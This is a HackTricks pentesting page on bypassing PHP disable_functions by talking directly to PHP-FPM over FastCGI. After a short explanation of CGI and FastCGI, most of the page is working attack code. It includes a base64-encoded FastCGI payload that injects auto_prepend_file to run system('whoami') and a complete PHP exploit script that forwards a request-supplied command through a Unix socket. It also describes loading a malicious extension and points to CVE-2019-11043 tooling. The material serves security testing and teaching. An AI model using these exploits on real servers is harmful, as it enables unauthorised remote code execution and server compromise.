// HackTricks · Network Services

disablefunctions bypass - PHP-FPM/FastCGI

disable_functions bypass - PHP-FPM/FastCGI

PHP-FPM

PHP-FPM is PHP’s FastCGI Process Manager. A master process manages pools of workers, while a web server sends PHP-script requests to the service over FastCGI. A pool can listen on a TCP address or a Unix socket.

PHP-FPM commonly runs on the same host as the web server, especially when using a Unix socket, but a TCP listener can be on another host. An available worker executes the selected PHP script, returns the result to the web server, and becomes available for another request.

But what is CGI and FastCGI?

CGI

Static pages and assets are commonly stored in a public directory such as /home/user/public_html. When a browser requests static content, the server resolves and sends the requested file.

With classic CGI, the server maps configured scripts—often under a cgi-bin directory—to executable programs instead of returning their source. The server passes request metadata and input to the program; after processing, the program returns output that the server forwards to the HTTP client.

For example, when the CGI script http://mysitename.com/cgi-bin/file.pl is accessed, the server will run the appropriate Perl application through CGI. The data generated from script execution will be sent by the application to the web server. The server, on the other hand, will transfer data to the browser. If the server did not have CGI, the browser would have displayed the .pl file code itself. (explanation from here)[1]

FastCGI

FastCGI preserves CGI’s request/response role while keeping application processes alive across requests instead of starting a new process for each request.

Open Market introduced FastCGI to address the process-creation and scalability costs of traditional CGI.[1]

disable_functions bypass

Direct access to a PHP-FPM listener can inject FastCGI parameters, select executable scripts, and sometimes load attacker-controlled PHP configuration or extensions. Request-level PHP_VALUE can relax some settings, but it does not reliably unset disable_functions; the techniques below distinguish those cases.[2][3]

Practical reality check

Before trying any of the payloads below, keep these points in mind:

  • You usually need a way to speak raw FastCGI to PHP-FPM: direct access to 127.0.0.1:9000, a readable/writable Unix socket such as /var/run/php/php-fpm.sock, an SSRF primitive that supports gopher://, or a proxy misconfiguration that lets you reach the backend.
  • A normal HTTP request to the application is not enough by itself. The interesting knobs here are FastCGI parameters such as PHP_VALUE and PHP_ADMIN_VALUE.
  • You still need a valid SCRIPT_FILENAME that the target pool can execute.

If you first need to enumerate a reachable FastCGI listener or build raw FastCGI requests, check:

9000 Pentesting Fastcgi

Via Gopherus

[!CAUTION] Use Gopherus here mainly to reach the FastCGI listener and inject FastCGI parameters. Do not expect PHP_VALUE with disable_functions = to reliably re-enable disabled functions in modern PHP-FPM.

Using Gopherus, you can generate a request for a reachable FastCGI listener. Command execution still depends on a usable script, directives, and an available execution primitive:

Practical reality check - Via Gopherus: Using Gopherus you can generate a payload to send to the FastCGI listener and execute arbitrary commands

Decode the URL-encoded FastCGI bytes and Base64-encode the raw result—for example, with CyberChef’s URL Decode followed by To Base64. Paste that Base64 into the following PHP sender:

<?php
$fp = fsockopen("unix:///var/run/php/php7.0-fpm.sock", -1, $errno, $errstr, 30); fwrite($fp,base64_decode("AQEAAQAIAAAAAQAAAAAAAAEEAAEBBAQADxBTRVJWRVJfU09GVFdBUkVnbyAvIGZjZ2ljbGllbnQgCwlSRU1PVEVfQUREUjEyNy4wLjAuMQ8IU0VSVkVSX1BST1RPQ09MSFRUUC8xLjEOAkNPTlRFTlRfTEVOR1RINzYOBFJFUVVFU1RfTUVUSE9EUE9TVAlLUEhQX1ZBTFVFYWxsb3dfdXJsX2luY2x1ZGUgPSBPbgpkaXNhYmxlX2Z1bmN0aW9ucyA9IAphdXRvX3ByZXBlbmRfZmlsZSA9IHBocDovL2lucHV0DxdTQ1JJUFRfRklMRU5BTUUvdmFyL3d3dy9odG1sL2luZGV4LnBocA0BRE9DVU1FTlRfUk9PVC8AAAAAAQQAAQAAAAABBQABAEwEADw/cGhwIHN5c3RlbSgnd2hvYW1pID4gL3RtcC93aG9hbWkudHh0Jyk7ZGllKCctLS0tLU1hZGUtYnktU3B5RDNyLS0tLS0KJyk7Pz4AAAAA"));

After this script is uploaded and requested, it sends the decoded FastCGI record to PHP-FPM. In practice, this is useful for setting request-level directives such as auto_prepend_file and often open_basedir, but not for truly clearing disable_functions.

PHP exploit

[!CAUTION] I’m not sure if this is working in modern versions because I tried once and I couldn’t execute anything. Actually I managed to see that phpinfo() from FastCGI execution indicated that disable_functions was empty, but PHP (somehow) was still preventing me from executing any previously disabled function. Please, if you have more information about this contact me via [PEASS & HackTricks telegram group here](https://t.me/peass), or twitter [@carlospolopm](https://twitter.com/hacktricks_live).

Code from here.[4]

<?php
/**
 * Note : Code is released under the GNU LGPL
 *
 * Please do not change the header of this file
 *
 * This library is free software; you can redistribute it and/or modify it under the terms of the GNU
 * Lesser General Public License as published by the Free Software Foundation; either version 2 of
 * the License, or (at your option) any later version.
 *
 * This library is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY;
 * without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
 *
 * See the GNU Lesser General Public License for more details.
 */
/**
 * Handles communication with a FastCGI application
 *
 * @author      Pierrick Charron <pierrick@webstart.fr>
 * @version     1.0
 */
class FCGIClient
{
    const VERSION_1            = 1;
    const BEGIN_REQUEST        = 1;
    const ABORT_REQUEST        = 2;
    const END_REQUEST          = 3;
    const PARAMS               = 4;
    const STDIN                = 5;
    const STDOUT               = 6;
    const STDERR               = 7;
    const DATA                 = 8;
    const GET_VALUES           = 9;
    const GET_VALUES_RESULT    = 10;
    const UNKNOWN_TYPE         = 11;
    const MAXTYPE              = self::UNKNOWN_TYPE;
    const RESPONDER            = 1;
    const AUTHORIZER           = 2;
    const FILTER               = 3;
    const REQUEST_COMPLETE     = 0;
    const CANT_MPX_CONN        = 1;
    const OVERLOADED           = 2;
    const UNKNOWN_ROLE         = 3;
    const MAX_CONNS            = 'MAX_CONNS';
    const MAX_REQS             = 'MAX_REQS';
    const MPXS_CONNS           = 'MPXS_CONNS';
    const HEADER_LEN           = 8;
    /**
     * Socket
     * @var Resource
     */
    private $_sock = null;
    /**
     * Host
     * @var String
     */
    private $_host = null;
    /**
     * Port
     * @var Integer
     */
    private $_port = null;
    /**
     * Keep Alive
     * @var Boolean
     */
    private $_keepAlive = false;
    /**
     * Constructor
     *
     * @param String $host Host of the FastCGI application
     * @param Integer $port Port of the FastCGI application
     */
    public function __construct($host, $port = 9000) // and default value for port, just for unixdomain socket
    {
        $this->_host = $host;
        $this->_port = $port;
    }
    /**
     * Define whether or not the FastCGI application should keep the connection
     * alive at the end of a request
     *
     * @param Boolean $b true if the connection should stay alive, false otherwise
     */
    public function setKeepAlive($b)
    {
        $this->_keepAlive = (boolean)$b;
        if (!$this->_keepAlive && $this->_sock) {
            fclose($this->_sock);
        }
    }
    /**
     * Get the keep alive status
     *
     * @return Boolean true if the connection should stay alive, false otherwise
     */
    public function getKeepAlive()
    {
        return $this->_keepAlive;
    }
    /**
     * Create a connection to the FastCGI application
     */
    private function connect()
    {
        if (!$this->_sock) {
            //$this->_sock = fsockopen($this->_host, $this->_port, $errno, $errstr, 5);
            $this->_sock = stream_socket_client($this->_host, $errno, $errstr, 5);
            if (!$this->_sock) {
                throw new Exception('Unable to connect to FastCGI application');
            }
        }
    }
    /**
     * Build a FastCGI packet
     *
     * @param Integer $type Type of the packet
     * @param String $content Content of the packet
     * @param Integer $requestId RequestId
     */
    private function buildPacket($type, $content, $requestId = 1)
    {
        $clen = strlen($content);
        return chr(self::VERSION_1)         /* version */
            . chr($type)                    /* type */
            . chr(($requestId >> 8) & 0xFF) /* requestIdB1 */
            . chr($requestId & 0xFF)        /* requestIdB0 */
            . chr(($clen >> 8 ) & 0xFF)     /* contentLengthB1 */
            . chr($clen & 0xFF)             /* contentLengthB0 */
            . chr(0)                        /* paddingLength */
            . chr(0)                        /* reserved */
            . $content;                     /* content */
    }
    /**
     * Build an FastCGI Name value pair
     *
     * @param String $name Name
     * @param String $value Value
     * @return String FastCGI Name value pair
     */
    private function buildNvpair($name, $value)
    {
        $nlen = strlen($name);
        $vlen = strlen($value);
        if ($nlen < 128) {
            /* nameLengthB0 */
            $nvpair = chr($nlen);
        } else {
            /* nameLengthB3 & nameLengthB2 & nameLengthB1 & nameLengthB0 */
            $nvpair = chr(($nlen >> 24) | 0x80) . chr(($nlen >> 16) & 0xFF) . chr(($nlen >> 8) & 0xFF) . chr($nlen & 0xFF);
        }
        if ($vlen < 128) {
            /* valueLengthB0 */
            $nvpair .= chr($vlen);
        } else {
            /* valueLengthB3 & valueLengthB2 & valueLengthB1 & valueLengthB0 */
            $nvpair .= chr(($vlen >> 24) | 0x80) . chr(($vlen >> 16) & 0xFF) . chr(($vlen >> 8) & 0xFF) . chr($vlen & 0xFF);
        }
        /* nameData & valueData */
        return $nvpair . $name . $value;
    }
    /**
     * Read a set of FastCGI Name value pairs
     *
     * @param String $data Data containing the set of FastCGI NVPair
     * @return array of NVPair
     */
    private function readNvpair($data, $length = null)
    {
        $array = array();
        if ($length === null) {
            $length = strlen($data);
        }
        $p = 0;
        while ($p != $length) {
            $nlen = ord($data{$p++});
            if ($nlen >= 128) {
                $nlen = ($nlen & 0x7F << 24);
                $nlen |= (ord($data{$p++}) << 16);
                $nlen |= (ord($data{$p++}) << 8);
                $nlen |= (ord($data{$p++}));
            }
            $vlen = ord($data{$p++});
            if ($vlen >= 128) {
                $vlen = ($nlen & 0x7F << 24);
                $vlen |= (ord($data{$p++}) << 16);
                $vlen |= (ord($data{$p++}) << 8);
                $vlen |= (ord($data{$p++}));
            }
            $array[substr($data, $p, $nlen)] = substr($data, $p+$nlen, $vlen);
            $p += ($nlen + $vlen);
        }
        return $array;
    }
    /**
     * Decode a FastCGI Packet
     *
     * @param String $data String containing all the packet
     * @return array
     */
    private function decodePacketHeader($data)
    {
        $ret = array();
        $ret['version']       = ord($data{0});
        $ret['type']          = ord($data{1});
        $ret['requestId']     = (ord($data{2}) << 8) + ord($data{3});
        $ret['contentLength'] = (ord($data{4}) << 8) + ord($data{5});
        $ret['paddingLength'] = ord($data{6});
        $ret['reserved']      = ord($data{7});
        return $ret;
    }
    /**
     * Read a FastCGI Packet
     *
     * @return array
     */
    private function readPacket()
    {
        if ($packet = fread($this->_sock, self::HEADER_LEN)) {
            $resp = $this->decodePacketHeader($packet);
            $resp['content'] = '';
            if ($resp['contentLength']) {
                $len  = $resp['contentLength'];
                while ($len && $buf=fread($this->_sock, $len)) {
                    $len -= strlen($buf);
                    $resp['content'] .= $buf;
                }
            }
            if ($resp['paddingLength']) {
                $buf=fread($this->_sock, $resp['paddingLength']);
            }
            return $resp;
        } else {
            return false;
        }
    }
    /**
     * Get Informations on the FastCGI application
     *
     * @param array $requestedInfo information to retrieve
     * @return array
     */
    public function getValues(array $requestedInfo)
    {
        $this->connect();
        $request = '';
        foreach ($requestedInfo as $info) {
            $request .= $this->buildNvpair($info, '');
        }
        fwrite($this->_sock, $this->buildPacket(self::GET_VALUES, $request, 0));
        $resp = $this->readPacket();
        if ($resp['type'] == self::GET_VALUES_RESULT) {
            return $this->readNvpair($resp['content'], $resp['length']);
        } else {
            throw new Exception('Unexpected response type, expecting GET_VALUES_RESULT');
        }
    }
    /**
     * Execute a request to the FastCGI application
     *
     * @param array $params Array of parameters
     * @param String $stdin Content
     * @return String
     */
    public function request(array $params, $stdin)
    {
        $response = '';
        $this->connect();
        $request = $this->buildPacket(self::BEGIN_REQUEST, chr(0) . chr(self::RESPONDER) . chr((int) $this->_keepAlive) . str_repeat(chr(0), 5));
        $paramsRequest = '';
        foreach ($params as $key => $value) {
            $paramsRequest .= $this->buildNvpair($key, $value);
        }
        if ($paramsRequest) {
            $request .= $this->buildPacket(self::PARAMS, $paramsRequest);
        }
        $request .= $this->buildPacket(self::PARAMS, '');
        if ($stdin) {
            $request .= $this->buildPacket(self::STDIN, $stdin);
        }
        $request .= $this->buildPacket(self::STDIN, '');
        fwrite($this->_sock, $request);
        do {
            $resp = $this->readPacket();
            if ($resp['type'] == self::STDOUT || $resp['type'] == self::STDERR) {
                $response .= $resp['content'];
            }
        } while ($resp && $resp['type'] != self::END_REQUEST);
        var_dump($resp);
        if (!is_array($resp)) {
            throw new Exception('Bad request');
        }
        switch (ord($resp['content']{4})) {
            case self::CANT_MPX_CONN:
                throw new Exception('This app can\'t multiplex [CANT_MPX_CONN]');
                break;
            case self::OVERLOADED:
                throw new Exception('New request rejected; too busy [OVERLOADED]');
                break;
            case self::UNKNOWN_ROLE:
                throw new Exception('Role value not known [UNKNOWN_ROLE]');
                break;
            case self::REQUEST_COMPLETE:
                return $response;
        }
    }
}
?>
<?php
// real exploit start here
if (!isset($_REQUEST['cmd'])) {
    die("Check your input\n");
}
if (!isset($_REQUEST['filepath'])) {
    $filepath = __FILE__;
}else{
    $filepath = $_REQUEST['filepath'];
}
$req = '/'.basename($filepath);
$uri = $req .'?'.'command='.$_REQUEST['cmd'];
$client = new FCGIClient("unix:///var/run/php-fpm.sock", -1);
$code = "<?php system(\$_REQUEST['command']); phpinfo(); ?>"; // php payload -- Doesnt do anything
$php_value = "disable_functions = \nallow_url_include = On\nopen_basedir = /\nauto_prepend_file = php://input";
//$php_value = "disable_functions = \nallow_url_include = On\nopen_basedir = /\nauto_prepend_file = http://127.0.0.1/e.php";
$params = array(
        'GATEWAY_INTERFACE' => 'FastCGI/1.0',
        'REQUEST_METHOD'    => 'POST',
        'SCRIPT_FILENAME'   => $filepath,
        'SCRIPT_NAME'       => $req,
        'QUERY_STRING'      => 'command='.$_REQUEST['cmd'],
        'REQUEST_URI'       => $uri,
        'DOCUMENT_URI'      => $req,
#'DOCUMENT_ROOT'     => '/',
        'PHP_VALUE'         => $php_value,
        'SERVER_SOFTWARE'   => '80sec/wofeiwo',
        'REMOTE_ADDR'       => '127.0.0.1',
        'REMOTE_PORT'       => '9985',
        'SERVER_ADDR'       => '127.0.0.1',
        'SERVER_PORT'       => '80',
        'SERVER_NAME'       => 'localhost',
        'SERVER_PROTOCOL'   => 'HTTP/1.1',
        'CONTENT_LENGTH'    => strlen($code)
        );
// print_r($_REQUEST);
// print_r($params);
//echo "Call: $uri\n\n";
echo $client->request($params, $code)."\n";
?>

Using the previous function you will see that the function system is still disabled but phpinfo() shows a disable_functions empty:

Via Gopherus - PHP exploit: Using the previous function you will see that the function system is still disabled but phpinfo() shows a disable functions empty

Via Gopherus - PHP exploit: Using the previous function you will see that the function system is still disabled but phpinfo() shows a disable functions empty

This matches the PHP documentation much better than the original guess:

  • disable_functions is an INI_SYSTEM directive, so it must come from the main PHP configuration context.
  • PHP-FPM documents that php_value / php_flag will not overwrite previously defined disable_functions / disable_classes values.[2]
  • phpinfo() can be misleading here. There is even an old PHP-FPM bug report showing mismatches between what phpinfo() displays and what is actually enforced for disable_functions.

So, for this technique, think of PHP_VALUE as the primitive to relax open_basedir and to inject auto_prepend_file, but not as a reliable way to unset disable_functions.

FuckFastCGI

This PHP script speaks FastCGI and can bypass open_basedir or achieve code execution despite disable_functions by loading a malicious extension when its prerequisites are met.
The original is at w181496/FuckFastcgi, with a modified version at BorelEnzo/FuckFastcgi.

You will find that the exploit is very similar to the previous code, but instead of trying to bypass disable_functions using PHP_VALUE, it tries to load an external PHP module using extension_dir and extension inside PHP_ADMIN_VALUE. That is the important distinction: if you can directly talk to PHP-FPM, forcing it to load an attacker-controlled extension is usually the path that turns FastCGI access into real code execution even when system, exec, shell_exec, and friends remain disabled.[3]
NOTE1: You probably will need to recompile the extension with the same PHP version/build that the server is using (you can check it inside the output of phpinfo):

PHP exploit - FuckFastGCI: NOTE1 : You probably will need to recompile the extension with the same PHP version/build that the server is using (you can check it inside the output of phpinfo)

[!CAUTION] NOTE2: In real targets you need more than socket access:

  • a writable location to place the malicious .so
  • an extension compiled for the target PHP ABI
  • a request path where the pool actually executes your chosen SCRIPT_FILENAME

The BorelEnzo fork also notes a practical PHP 8 detail: old sample extensions using TSRMLS_CC need to be adjusted for PHP 8+.

The improved fork also contains a pure-PHP variant that abuses sendmail_path instead of loading a custom extension. This removes the need to upload a .so, but it still depends on a useful primitive such as mail() being callable and a local MTA path being available.[3]

PHP-FPM Remote Code Execution Vulnerability (CVE-2019–11043)

You can exploit this vulnerability with phuip-fpizdam and test it using this Docker environment: Vulhub CVE-2019-11043.
You can also find an analysis of the vulnerability here.

References